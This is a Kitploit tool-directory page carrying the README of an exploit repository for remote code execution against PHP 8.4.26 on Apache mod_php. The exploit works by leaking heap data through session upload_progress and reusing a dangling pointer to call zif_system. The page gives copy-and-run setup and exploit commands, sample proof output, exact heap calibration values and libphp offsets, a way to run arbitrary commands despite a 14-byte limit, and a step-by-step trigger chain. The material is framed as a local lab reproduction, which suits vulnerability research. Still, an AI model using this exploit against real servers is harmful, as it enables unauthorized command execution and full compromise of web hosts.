Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
php2shell-bypass-aslr-exp — Pure-HTTP exploit achieving RCE on PHP 8.4.26 + Apache mod_php via session upload_progress heap leak, dangling pointer reuse, and ASLR bypass to call zif_system. | Kitploit
Tools/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Memory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchRemote Access ToolBinary Exploitation
GitHub9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

Pure-HTTP exploit achieving RCE on PHP 8.4.26 + Apache mod_php via session upload_progress heap leak, dangling pointer reuse, and ASLR bypass to call zif_system.

View Repository
66124417117h 40m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

php2shell — PHP 8.4.26 session vulnerability reproduction

中文 | English

Under the constraints of being fully remote, HTTP-only, with no session_start() on the target page and no PHP written on the target side, a single exploit.py achieves RCE on PHP 8.4.26 + Apache prefork + mod_php. The official php:8.4.26-apache image has been tested 3/3 with one-shot success (PROOF: uid=33(www-data)...). The current version requires display_errors=1; with display_errors=0 the pure-HTTP heap leak is already working, and the complete RCE will be committed later.

exp

The complete from-zero-to-RCE command block below can be copied and run as-is. This repository does not compile PHP/Apache and has no docker build: the environment is simply the official php:8.4.26-apache image plus the config mounts under docker/.

# Requirements: Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) Pull the official image (PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) Start the target: single worker, display_errors=On, memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) Wait for Apache and confirm a normal page
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # OK

# 4) One command completes the whole exploit; first run reads libphp offsets automatically
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

If you are already inside the repository directory, skip git clone/cd; pull can also be omitted, since up -d pulls the image automatically.

exploit.py automatically performs worker rotation, the two-stage leak, zif_system execution, and proof retrieval, with built-in retries for each stage. Runtime environment:

ComponentVersionSource
PHP8.4.26 (NTS, mod_php)php:8.4.26-apache
Base OSDebian 12 (bookworm)same as above
Apache2.4.69 (Debian 12 package in the official image, tested)same as above
MPMprefork, single workerdocker/apache.conf
Apache in lab reports2.4.68 (original self-built lab, --profile lab)for exact parity, use the 2.4.68 tag of apache/httpd

Official image repository: docker-library/php (Docker Hub: php:8.4.26-apache); PHP source: php/php-src (tag php-8.4.26).

On first run it automatically executes docker/offsets.py: it reads the real offsets of zif_system / zval_ptr_dtor from libphp.so inside the container and writes them to out/offsets.env; exploit.py loads them automatically, so nothing needs editing after switching or upgrading the official image. The default command is id>/out/p1 (10 bytes); /out in the container is mounted to the repository's ./out, so the proof lands directly on the host:

[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system     0x...
zval_ptr_dtor  0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The command length limit in the payload is 14 bytes. To run arbitrary commands, write a script into the mounted directory and execute it with sh</out/c (8 bytes):

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

Common options: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. The default profile is bookworm (official image); use --profile lab for the original lab build. --offsets-file '' disables automatic loading; specify --docker-container when the container name is not php2shell-target.

The bookworm heap calibration is built in: stage1 filler count 841; stage2 target array 406, element value length 16; stage3 HTDATA=chunk+0x690d8, A's pads are 6×(31,31), plus a 32-character valid Cookie: PHPSESSID so that B reuses the stale id (send_cookie=0), preventing the session's Set-Cookie header from overwriting val.type at R0+16; B uses a 15B carrier to overwrite the reference's val.value. The official image's libphp offsets are read automatically as zif_system=0x465370, zval_ptr_dtor=0x65eb60; the original lab uses 0x43a870 / 0x613c50.

Mechanism overview

The vulnerable surface is session initialization triggered by session.upload_progress before RINIT, together with a dangling pointer left across requests after an OOM bailout. The lab build is used as the example below; the bookworm calibration values for the official image are at the end of the exp section.

The entire attack traffic is ordinary multipart HTTP; the target page is just <?php echo "OK\n"; ?>:

  1. Worker rotation: A_bigfields (3MB live POST field + 12MB OOM) is immediately followed by a B that initializes a session; the child exits with SIGABRT; the new worker forked by prefork inherits the same libphp/chunk mappings.

  2. Heap leak: A uses 1001 fields to trigger the max_input_vars warning (display_errors=On → headers_sent=1), PHPSESSID=\x00 generates a new id and sets send_cookie=1, and the final 12MB field OOMs inside php_session_initialize(), leaving PS(http_session_vars) dangling. B reoccupies the old reference with a 56B multipart raw-value buffer, and uses a surviving 192B zend_string to carry a fake HashTable; the out-of-bounds read in php_url_encode() writes Zend MM chunk pointers into Set-Cookie (4096B, 98 pointers).

  3. libphp leak: A places the dangling PS(id) at chunk+0xb7400; B's 56B HashTable page makes ZSTR_LEN(PS(id)) read nTableSize=16, and the data area is exactly nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, from which the libphp base is decoded out of Set-Cookie.

  4. Command execution: A uses 6 pads to pin the dangling reference at R0=chunk+0x24e0; B overwrites R0-0x10 with a 55B raw buffer, places the fake HashTable in a 167B surviving string at chunk+0x6e0d8, and sets pDestructor = zif_system = libphp+0x43a870. Trigger chain:

    php_session_track_init()
      zval_ptr_dtor(PS(http_session_vars))
        zend_reference_destroy(R0)
          zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
            zend_array_destroy(fake HT)
              zend_hash_destroy(fake HT)
                pDestructor(&bucket->val)   # zif_system
    

    The terminal stage only uses zif_system inside libphp; libc is not needed.

Mechanism analysis

Download Tool